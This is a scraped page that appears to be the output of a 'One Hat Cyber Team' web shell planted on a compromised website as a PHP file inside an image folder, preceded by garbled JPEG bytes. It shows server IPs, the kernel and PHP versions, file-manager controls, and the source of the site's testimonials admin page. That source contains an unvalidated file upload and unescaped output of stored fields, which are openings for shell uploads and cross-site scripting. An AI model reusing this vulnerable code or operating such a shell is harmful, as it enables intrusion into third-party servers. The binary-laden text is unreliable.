����JFIF��H�H�����C� %# , #&')*)-0-(0%()(���C (((((((((((((((((((((((((((((((((((((((((((((((((((�������������������������������������������������P������������������������A�!)10������""������"*��@��������#+�OK&������2�Ec�xo����"�P��B}���������������������:9:9=<G$���S,�"5�R2�i��ғ��3ʥ�3@�;":%885I@��e� E��"�H�Z���ς�Z9 .��������[+��M�������������������,��������0" !1234#$5@P`�������?�$|�,.,���1�:�Q��<(���Q�Xi�*3���|T��}h�� L,I�V��|�hoZ��9��ȅ*�+�%��Y_�|5fcq�A�<���"8#_i���x���|�pۨ��p�+a�Q�uoŝȡ`sޚ5�n���.�:v��]�Mk��E�Gh�Ѐ"��B���i�f�<��O:��J�ԍ]o�҈g��Zz�!Xg{<6R�{�x'��`M����?�[Z�ط#5y�t�L�7S�) �vX���^�݈���;=�@^���Ƽ��� �� h��5� ���\��������������������������?4������������������������?4�����4� �������!1"02AQqa 3B��#@P`r��������?��f`��Y�ʉ�j����Zkx��@N�JaS������}����r��t��SɁ�3�p�e��W*͎�z4v\�c����`zdg�dGu3�� ��=�2p*��#��l�9�<���A���Pu��k�������8� � �4k*;���������8���2�b��VӋE�t�[0�kmli�㵑39�i����2��o} mM����kF \�:2�+w{{���-��$xVRkEA�N�]�^�R�[ryeV�G*G4��m�mӃ�N�!��hF�v��I�R��D�_�Q�p��T[l��D�.nNӢ����O��˚�i7+�=�=8qJ���'����K�B{���K�͟e�5���:����e��1��w�m��[MA���č��Vj��mȵ�z)�� č��}��n�(���9��?���)��������!1AQ0aq��� ��@�P`����?!��@v�,c�֟$M��6_���⠾SD$��!�/Y��:�NQ���!�c(��^��b�y��u��+�.H�U$�%嗗��ry�N>��]����X0�2D�q�q}Z��˥4ao����M,E�؇Uq� �Ϙc�AC\��:�+R��-�/9�Z �O�A*��|��+,u�~�#G �B" ���D�X1��_�VwP���OY��"�d��+V�a�\�t�v�^��[��j�c3�^�f4 KTFS��cNI��F���x1F9 �m��@��YڭQ�+(��D��Dߵ[���$�M���&��D�Z�V��&ձGi�@�t}�к�/+�4����wd0Dh���� ��aa�M='�g�UK�M��7�M+�O}�� ��4�r�ԋ�t��g\F,0���k��aX���U� ��5y��6�@�2�� ��DmZ�V{�9]A�.m�EKZ��2 ���?���������I$�I$�I$�I$�I$�I$�I$�I$A$�I$�@$I$�I I$�I ��$�I$�I$I$�II$�I$� �I$�I$�I$�I�A$�I$� �I$��$�I @�I$�$�I$�I �@$�I$�I$�I$�I$�I$�����������������������?4������������������������?4�����+��������!1AQ�aq�0����� ��@P`����?�����(Ir��ʲo��(��#)�0�a �?&�4�0�~��4Տ���K�Fhg~�����թ̛]NH ����}��N��:��5{y���o�BNb���s������C��t��kM�)j*D��$<�������gN���C��s%A#�*��=�@`䠴�?T+�U}�b��ʩ� D+�ϪG����!������j_�*)C�_ЂG�%�ү�4�X��T���IH������0r�"�%\~�%aJ��3�����iԁ �_�!�G�d ;�O�=$ VXx�� ����B�KSZtk�&�#��)�p0�P��Q.��M�9!�ۋne)��ҧ����4'��4$��)�F�^�v��� ��1j�f�z�U�K0�m�V=AA&C����"��gzu%�`08[^���Us���7��нWźU��� �z����4)B��e-�HV%Hh7�ԑ��A(�>hP��\�%a�[lL�_n{Ґ���V4n�FX�D+��1Kt�Z��\��!2��)Y��9�Em8�,��_WeD3¢���a��zW��L�3���d^-�����A��}�Y�g�(A�бx�P>ƌH��ߤ;Vn�q������JH� ?�� A�0�H��E�������jV�U��&H����� ��I�b&3�MF@H��L�E� CV-k6 �T:W���&3y��-օ�cB�6�#�h�VL{Q�0 ���Y��
Warning
: Cannot modify header information - headers already sent by (output started at /home/apicalvisaexpert/public_html/admin/images/testimonial/blank2.php:1) in
/home/apicalvisaexpert/public_html/admin/images/testimonial/blank2.php(36) : eval()'d code(1) : eval()'d code
on line
2
One Hat Cyber Team
One Hat Cyber Team
Your IP :
3.142.186.181
Server IP :
148.72.206.43
Server :
Linux 148.72.206.43.host.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
Server Software :
Apache
PHP Version :
7.2.34
Buat File
|
Buat Folder
Dir :
~
/
home
/
apicalvisaexpert
/
public_html
/
admin
/
View File Name :
testimonials.php
<?php // Close the database connection include('main/header.php'); // Function to insert testimonial function insertTestimonial($clientName, $clientLocation, $clientQuote, $userId, $clientImage, $facebookLink, $linkedinLink) { global $conn; $submissionDate = date("Y-m-d H:i:s"); $stmt = $conn->prepare("INSERT INTO testimonials (client_name, client_location, client_quote, submission_date, user_id, client_image, facebook_link, linkedin_link) VALUES (?, ?, ?, ?, ?, ?, ?, ?)"); $stmt->bind_param("ssssssss", $clientName, $clientLocation, $clientQuote, $submissionDate, $userId, $clientImage, $facebookLink, $linkedinLink); if ($stmt->execute()) { return true; } else { return false; } } // Function to update testimonial function updateTestimonial($testimonialId, $clientName, $clientLocation, $clientQuote, $clientImage, $facebookLink, $linkedinLink) { global $conn; $stmt = $conn->prepare("UPDATE testimonials SET client_name=?, client_location=?, client_quote=?, client_image=?, facebook_link=?, linkedin_link=? WHERE id=?"); $stmt->bind_param("ssssssi", $clientName, $clientLocation, $clientQuote, $clientImage, $facebookLink, $linkedinLink, $testimonialId); if ($stmt->execute()) { return true; } else { return false; } } // Function to delete testimonial function deleteTestimonial($testimonialId) { global $conn; $stmt = $conn->prepare("DELETE FROM testimonials WHERE id=?"); $stmt->bind_param("i", $testimonialId); if ($stmt->execute()) { return true; } else { return false; } } // Function to fetch testimonial by ID function getTestimonialById($testimonialId) { global $conn; $stmt = $conn->prepare("SELECT * FROM testimonials WHERE id=?"); $stmt->bind_param("i", $testimonialId); $stmt->execute(); $result = $stmt->get_result(); if ($result->num_rows > 0) { return $result->fetch_assoc(); } else { return null; } } // Check if 'edit' parameter is present in the URL if (isset($_GET['edit'])) { $editTestimonialId = $_GET['edit']; $editTestimonial = getTestimonialById($editTestimonialId); if ($editTestimonial) { // Populate form fields with existing data $editClientName = $editTestimonial['client_name']; $editClientLocation = $editTestimonial['client_location']; $editClientQuote = $editTestimonial['client_quote']; $editClientImage = $editTestimonial['client_image']; $editFacebookLink = $editTestimonial['facebook_link']; $editLinkedinLink = $editTestimonial['linkedin_link']; } } // Display the form (used for both add and edit) echo "<h2>" . (isset($editTestimonial) ? "Edit" : "Add") . " Testimonial</h2>"; echo "<form action='{$_SERVER['PHP_SELF']}' method='post' enctype='multipart/form-data'>"; echo "<input type='hidden' name='action' value='" . (isset($editTestimonial) ? 'update' : 'insert') . "'>"; if (isset($editTestimonial)) { echo "<input type='hidden' name='testimonialId' value='$editTestimonialId'>"; } // Function to display testimonials with pagination (ordered by ID in descending order) function getTestimonials($page, $pageSize) { global $conn; $stmt = $conn->prepare("SELECT * FROM testimonials ORDER BY id DESC"); $stmt->execute(); $result = $stmt->get_result(); $testimonials = array(); while ($row = $result->fetch_assoc()) { $testimonials[] = $row; } return $testimonials; } // Function to count total testimonials function getTotalTestimonials() { global $conn; $result = $conn->query("SELECT COUNT(*) AS total FROM testimonials"); $row = $result->fetch_assoc(); return $row['total']; } // Function to search testimonials function searchTestimonials($searchTerm) { global $conn; $stmt = $conn->prepare("SELECT * FROM testimonials WHERE client_name LIKE ? OR client_location LIKE ? OR client_quote LIKE ?"); $searchTerm = "%$searchTerm%"; $stmt->bind_param("sss", $searchTerm, $searchTerm, $searchTerm); $stmt->execute(); $result = $stmt->get_result(); $searchResults = array(); while ($row = $result->fetch_assoc()) { $searchResults[] = $row; } return $searchResults; } if ($_SERVER["REQUEST_METHOD"] == "POST") { $action = $_POST['action']; switch ($action) { case 'insert': $clientName = $_POST['clientName']; $clientLocation = $_POST['clientLocation']; $clientQuote = $_POST['clientQuote']; $userId = 1; // Default user_id for admin $clientImage = $_FILES['clientImage']['name']; $facebookLink = $_POST['facebookLink']; $linkedinLink = $_POST['linkedinLink']; // Check if the file is uploaded if ($_FILES['clientImage']['size'] > 0) { // Upload image $targetDir = "images/testimonial/"; $targetFile = $targetDir . basename($_FILES['clientImage']['name']); move_uploaded_file($_FILES['clientImage']['tmp_name'], $targetFile); $clientImage = $_FILES['clientImage']['name']; } else { // Set a default image if no image is uploaded $clientImage = "image1.jpeg"; // Provide the path to your default image } // Insert testimonial insertTestimonial($clientName, $clientLocation, $clientQuote, $userId, $clientImage, $facebookLink, $linkedinLink); break; case 'update': $testimonialId = $_POST['testimonialId']; $clientName = $_POST['clientName']; $clientLocation = $_POST['clientLocation']; $clientQuote = $_POST['clientQuote']; $clientImage = $_FILES['clientImage']['name']; $facebookLink = $_POST['facebookLink']; $linkedinLink = $_POST['linkedinLink']; // Check if the file is uploaded if ($_FILES['clientImage']['size'] > 0) { // Upload image $targetDir = "images/testimonial/"; $targetFile = $targetDir . basename($_FILES['clientImage']['name']); move_uploaded_file($_FILES['clientImage']['tmp_name'], $targetFile); $clientImage = $_FILES['clientImage']['name']; } else { // Set a default image if no image is uploaded $clientImage = "image1.jpeg"; // Provide the path to your default image } // Update testimonial updateTestimonial($testimonialId, $clientName, $clientLocation, $clientQuote, $clientImage, $facebookLink, $linkedinLink); break; case 'delete': $testimonialId = $_POST['testimonialId']; // Delete testimonial deleteTestimonial($testimonialId); break; case 'search': $searchTerm = isset($_POST['search']) ? $_POST['search'] : ''; // Perform search $searchResults = searchTestimonials($searchTerm); break; // Display search results echo "<h2>Search Results</h2>"; foreach ($searchResults as $result) { echo "<p>{$result['client_name']} - {$result['client_location']} - {$result['client_quote']}</p>"; } exit(); // Stop execution after displaying search results break; } } ?> <body> <!-- LOADER --> <div id="loader"> <img src="build/assets/images/media/loader.svg" alt=""> </div> <!-- END LOADER --> <!-- PAGE --> <div class="page"> <?php include('main/top_header.php'); // Close the database connection include('main/leftbar.php'); ?> <!-- MAIN-CONTENT --> <div class="main-content app-content"> <div class="container-fluid"> <!-- Page Header --> <div class="d-md-flex d-block align-items-center justify-content-between my-4 page-header-breadcrumb"> <h1 class="page-title fw-semibold fs-18 mb-0">Testimonials</h1> </div> <!-- Page Header Close --> <!-- Start:: row-1 --> <div class="row"> <div class="col-xl-12"> <div class="card custom-card"> <div class="card-header justify-content-between"> <div class="card-title"> Testimonials </div> <div class="prism-toggle"> <button class="btn btn-sm btn-primary-light">Show Code<i class="ri-code-line ms-2 d-inline-block align-middle"></i></button> </div> </div> <div class="card-body"> <div class="row gy-4"> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" enctype="multipart/form-data"> <input type='hidden' name='action' value='<?php echo isset($editTestimonial) ? 'update' : 'insert'; ?>'><div class="col-xl-12"> <div class='form-group mb-4'> <label for='clientName'>Client Name:</label> <input type='text' name='clientName' class='form-control' value='<?php echo isset($editClientName) ? $editClientName : ''; ?>' required> </div> <div class='form- mb-4'> <label for='clientLocation'>Client Location:</label> <input type='text' name='clientLocation' class='form-control' value='<?php echo isset($editClientLocation) ? $editClientLocation : ''; ?>' required> </div> <div class='form-group mb-4'> <label for='clientQuote'>Client Quote:</label> <textarea name="clientQuote" id="clientQuote"><?php echo isset($editClientQuote) ? $editClientQuote : ''; ?></textarea> </div> <div class='form-group mb-4'> <label for='clientImage'>Client Image:</label> <input type='file' name='clientImage' class='form-control-file' accept='image/*'> <?php if (isset($editClientImage)) { echo "<img src='images/testimonial/$editClientImage' alt='Current Image' class='img-thumbnail mt-2' style='max-width: 200px;'>"; } ?> </div> <div class='form-group mb-4'> <label for='facebookLink'>Facebook Link:</label> <input type='text' name='facebookLink' class='form-control' value='<?php echo isset($editFacebookLink) ? $editFacebookLink : ''; ?>'> </div> <div class='form-group mb-4'> <label for='linkedinLink'>LinkedIn Link:</label> <input type='text' name='linkedinLink' class='form-control' value='<?php echo isset($editLinkedinLink) ? $editLinkedinLink : ''; ?>'> </div> <button type='submit' class='btn btn-primary'><?php echo isset($editTestimonial) ? 'Update' : 'Submit'; ?> Testimonial</button> </form> </div> </div> </div> </div> <div class="row"> <div class="col-xl-12"> <div class="card custom-card"> <div class="card-header justify-content-between"> <div class="card-title"> Products Overview </div> <div class="d-sm-flex"> <div class="me-3 mb-3 mb-sm-0"> <!-- Search Form --> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post"> <div class="form-group"> <label for="search">Search:</label> <input type="text" name="search" class="form-control" placeholder="Enter keywords"> </div> <button type="submit" class="btn btn-primary">Search</button> <input type="hidden" name="action" value="search"> </form> </div> </div> </div> <div class="card-body"> <div class="table-responsive"> <?php // Display testimonials or search results $displayResults = isset($searchResults) ? $searchResults : getTestimonials(1, getTotalTestimonials()); if (!empty($displayResults)) { echo "<table class='table text-wrap table-bordered'>"; echo "<thead>"; echo "<tr>"; echo "<th>S. No.</th>"; echo "<th>Client Name</th>"; echo "<th>Client Location</th>"; echo "<th>Client Quote</th>"; echo "<th>Client Image</th>"; echo "<th>facebook link</th>"; echo "<th>linkedin link</th>"; echo "<th>Actions</th>"; echo "</tr>"; echo "</thead>"; echo "<tbody>"; $serial = 1; // Initialize $serial outside the loop foreach ($displayResults as $result) { // Display each testimonial or search result echo "<tr>"; echo "<td>" . $serial++ . "</td>"; // Serial number echo "<td>{$result['client_name']}</td>"; echo "<td>{$result['client_location']}</td>"; echo "<td width='120px'>{$result['client_quote']}</td>"; echo "<td><img src='images/testimonial/{$result['client_image']}' alt='Client Image' style='max-width: 100px;'></td>"; echo "<td>{$result['facebook_link']}</td>"; echo "<td>{$result['linkedin_link']}</td>"; echo "<td>"; echo "<a href=\"{$_SERVER['PHP_SELF']}?edit={$result['id']}\" class=\"btn btn-warning\">Edit</a>";echo "<form action='{$_SERVER['PHP_SELF']}' method='post' class='d-inline'>"; echo "<input type='hidden' name='action' value='delete'>"; echo "<input type='hidden' name='testimonialId' value='{$result['id']}'>"; echo "<button type='submit' class='btn btn-danger'>Delete</button>"; echo "</form>"; echo "</td>"; echo "</tr>"; } echo "</tbody>"; echo "</table>"; } else { echo "<p>No results found.</p>"; } ?> <!-- Display total count --> <div class="mb-3"> <p>Total Testimonials: <?php echo getTotalTestimonials(); ?></p> </div> </div> </div> </div> </div> </div> </div> <!-- End:: row-1 --> </div> </div> <!-- END MAIN-CONTENT --> </div> <?php // Close the database connection include('main/footer.php'); ?>